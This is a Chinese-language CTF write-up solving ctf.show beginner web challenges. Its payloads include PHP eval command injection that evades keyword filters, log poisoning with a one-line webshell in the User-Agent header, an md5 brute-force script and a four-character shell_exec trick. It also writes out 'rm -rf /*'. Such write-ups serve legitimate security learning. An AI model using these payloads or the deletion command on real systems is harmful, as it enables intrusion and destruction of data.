web8
阿呆熟悉的一顿操作,去了埃塞尔比亚。
打开题目:
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
if(isset($_GET['flag'])){
$f = $_GET['flag'];
if($key===$f){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
</body>
</html>
这个题我看了很久也没明白,所以key是什么呢?我想到了题干条件,还是不明白,后来看来WP,呃,原来这是个梗,意思是删库跑路了,删除的指令是rm -rf
,删库就是完全删除,那路径就写成/*
,所以指令是:
?flag=rm -rf /*
得到flag:
ctfshow{18f066f8-2e89-4f76-814e-d7fb29b4f0ad}
web9
阿呆在埃塞俄比亚终于找了一个网管的工作,闲暇时还能种点菜。
(所以最终归宿我们还是做网管吗😇 🥰 😍 🤩 )
打开题目:
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
按照题目意思,我们要构建一个请求c,来打开config.php就可以得到flag了。同时要满足preg_match("/system|exec|highlight/i",$c)
,这里我们使用highlight_file()
函数,构建请求(切记一定要加上;):
/?c=highlight_file("config.php");
得到flag:
<?php
$flag = "ctfshow{f025b7c6-37e9-4034-aadf-541953428f04}";
?>
web10
阿呆看见对面二黑急冲冲的跑过来,告诉阿呆出大事了,阿呆问什么事,二黑说:这几天天旱,你菜死了!
(我怎么感觉他在骂我???)
打开题目:
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
和上一题一样,但是这次我们的highlight被禁用了,我们考虑用PHP语法多次定义来拼凑得到highlight_file
:
/?c=$a="high";$b="light_file";$c=$a.$b;$c("config.php");
得到flag:
<?php
$flag = "ctfshow{fa5fce89-a3dc-4aed-8d9b-2304c58f0064}";
?>
web11
阿呆听完自己菜死了,自己呆了。决定修好漏洞,绝对不能让自己再菜死了。
打开题目(只展示了限制条件):
if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}
这里好像和我们的解题方法没有冲突,这里禁用了cat
(说明前一个题可以用cat
来解题),我们还是使用和上一题一样的方法获得flag:
<?php
$flag = "ctfshow{6f608f7c-9cd7-4385-95f1-2d44c4c3900c}";
?>
web12
阿呆不慌不忙的拔掉自己所有的菜,以后自己就不会菜死了。
打开题目:
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}
这波阿呆偷家了,但是我们还是可以绕过他,我们用base64加密后解密,再拼接:
/?c=$a=base64_decode("aGlnaGxpZ2h0X2ZpbGU=");$b=base64_decode("Y29uZmlnLnBocA==");$a($b);
获得flag:
<?php
$flag = "ctfshow{915d8708-b627-4a78-89b4-cf7f81c4b219}";
?>
web13
阿呆彻底呆了,阿呆拿起谷姐搜索好久,终于找到更狠的方法。
打开题目:
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
eval($c);
}
这次阿呆连分号都禁用了,那我们换一种方式,用passthru()
函数 配合反引号``
来执行系统命令, 针对分号;
的过滤, 我们可以使用 ?>
代替分号:
?c=passthru("ca''t `ls`")?>
(这里cat打开的是ls函数得到的两个页面:index.php和config.php,如果要精确打开一个,使用语句?c=passthru("more `ls | grep con*`")?>
来打开config.php即可)
请求执行后页面啥也没有,我们查看源代码就可以获得flag了:
<?php
$flag = "ctfshow{ae872a60-e2be-4b60-b65f-aa4ecce9af62}";
?>
在网上看见一个比较简单的操作,感觉挺牛逼的:
利用php伪协议把命令当作文件包传入:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
在下一个题也可以用这个,把前面的?>
改成;
就行了,不错不错,学到了。
web14
阿呆忍无可忍了,告诉自己,如果还被攻,自己就跳下去
打开题目:
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}
(
也被禁用了,怎么办呢?我们重新查看题目,你GET限制了关我POST什么事😋 ?给他塞个一句话木马。打开我们的burp进行抓包,发送到Repeater,Change request method,得到下面代码:
POST / HTTP/1.1
Host: 0ed74255-8066-470d-9cf4-4e11acf4dad0.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
我们插入请求?c=echo `$_POST[a]`?>
和请求参数a=cat config.php
:
POST /?c=echo`$_POST[a]`?> HTTP/1.1
Host: 0ed74255-8066-470d-9cf4-4e11acf4dad0.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
a=cat config.php
Send后我们看到Response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Aug 2022 05:04:27 GMT
Server: nginx/1.16.1
X-Powered-By: PHP/7.3.11
Connection: close
Content-Length: 71
<?php
$flag = "ctfshow{df0df968-0282-4fdc-9d37-89dbc2ac2552}";
?>
得到flag:
ctfshow{df0df968-0282-4fdc-9d37-89dbc2ac2552}
web15
人为什么要活着?难道埃塞俄比亚再无我阿呆容身之处?
打开题目:
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}
乍一看人都要气死了,?
和>
被禁用了怎么办?仔细一看,哟呵,;
又可以用了,那还不简单,和上一题一样,只是把请求换成?c=echo `$_POST[a]`;
:
POST /?c=echo`$_POST[a]`; HTTP/1.1
Host: 6e9dbd86-994b-4cb0-983b-84eb7d050b15.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
a=cat config.php
一样的操作后得到flag:
ctfshow{ad913f7c-bc3d-48a0-9772-433258d5d389}
web16
阿呆为了自己的梦想(fulage),决定来一波反向跑路。
打开题目:
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
echo $flag;
}else{
echo "nonono!";
}
}else{
highlight_file(__FILE__);
}
?>
这显然要解码这个md5密文。拉到解密网站解密都没解出来,我怀疑也不会太长,所以我尝试用python脚本解码,办法很笨,就是依次位数尝试:
import hashlib
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
payload = ''
for i in str1: # 若只有一位
s = hashlib.md5(('ctfshow' + i).encode()).hexdigest()
# print(type(s))
if s == 'a6f57ae38a22448c2f07f3f95f49c84e':
print(i)
import hashlib
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
payload = ''
for i in str1:
for j in str1: # 若有两位
s = hashlib.md5(('ctfshow' + i + j).encode()).hexdigest()
# print(type(s))
if s == 'a6f57ae38a22448c2f07f3f95f49c84e':
print(i + j)
import hashlib
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
payload = ''
for i in str1:
for j in str1:
for k in str1: # 若有三位
s = hashlib.md5(('ctfshow' + i + j + k).encode()).hexdigest()
# print(type(s))
if s == 'a6f57ae38a22448c2f07f3f95f49c84e':
print(i + j + k)
试到第三位,有输出了:
36d
带进去:
?c=36d
得到flag:
ctfshow{663c2035-fc49-4119-8358-7c3f03998aea}
web17
阿呆终于怀揣自己的梦想来到了故土,凭借着高超的系统垃圾清理(rm -rf /*)技术,很快的阿呆找到了一份程序员工作
打开题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php/i",$c)){
include($c);
}
}else{
highlight_file(__FILE__);
}
?>
这里禁用了php,那就日志包含,系统日志地址:
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
我们用burp抓包,添加请求:
GET /?c=/var/log/nginx/access.log HTTP/1.1
Host: 1fe90fb0-2093-445a-bd07-6e26dd71fbe5.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
查看日志,发现日志文件记录了user-agent头,那我们再次发送请求,这次在User-Agent
后面加上一句话木马病毒:
GET /?c=/var/log/nginx/access.log HTTP/1.1
Host: 1fe90fb0-2093-445a-bd07-6e26dd71fbe5.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36<?php eval($_POST['a']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Send之后我们用蚁剑连接:
URL地址:http://1fe90fb0-2093-445a-bd07-6e26dd71fbe5.challenge.ctf.show/?c=/var/log/nginx/access.log
连接密码:a
我们看见了36d.php,打开后找到flag:
<?php
$flag = "ctfshow{83ca285e-3135-4c5c-8b42-39868fe6fb21}";
?>
web18
阿呆加入了过滤,这下完美了。
打开题目:
if(!preg_match("/php|file/i",$c)){
include($c);
}
看来和17步骤一致,获得flag:
<?php
$flag = "ctfshow{61d26f54-0e98-4c49-8fae-fa829ff2fa76}";
?>
web19
同上,获得flag:
<?php
$flag = "ctfshow{154abcaf-110f-49e0-9105-0fabbff02559}";
?>
web20
同上,获得flag:
<?php
$flag = "ctfshow{e0cb6cb1-14ae-453d-a443-f0f243c1c725}";
?>
web21
同上,获得flag:
<?php
$flag = "ctfshow{7e143999-3a6c-4792-8cf7-1a067b483114}";
?>
获得百分之百的快乐
阿呆开发了自己的博客系统,准备对欺负他的大佬口吐芬芳
打开题目:
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>
//by Firebasky
//by Firebasky
观察代码,限制输入4个字符以内,那我们先看看有哪些文件:
?1=ls
secretsecret_ctfshow_36dddddddddd.php zzz.php //by Firebasky
好家伙,这么长的名字,打不开呀,怎么办呢?
我们先阅读这篇大佬的文章——【CTF 攻略】如何绕过四个字符限制getshell
根据提示我们有了思路,先利用字符<
创建文件夹,然后利用*
的神奇用法(以当前路径下第一个文件名作为命令执行)来完成这波骚操作。
?1=>nl
?1=ls
?1=*
得到flag(这里记得要查看源代码):
<?php
$flag = 'ctfshow{e278f7be-e1d6-46e0-b70c-57f8aa898e99}';
?>
共有 0 条评论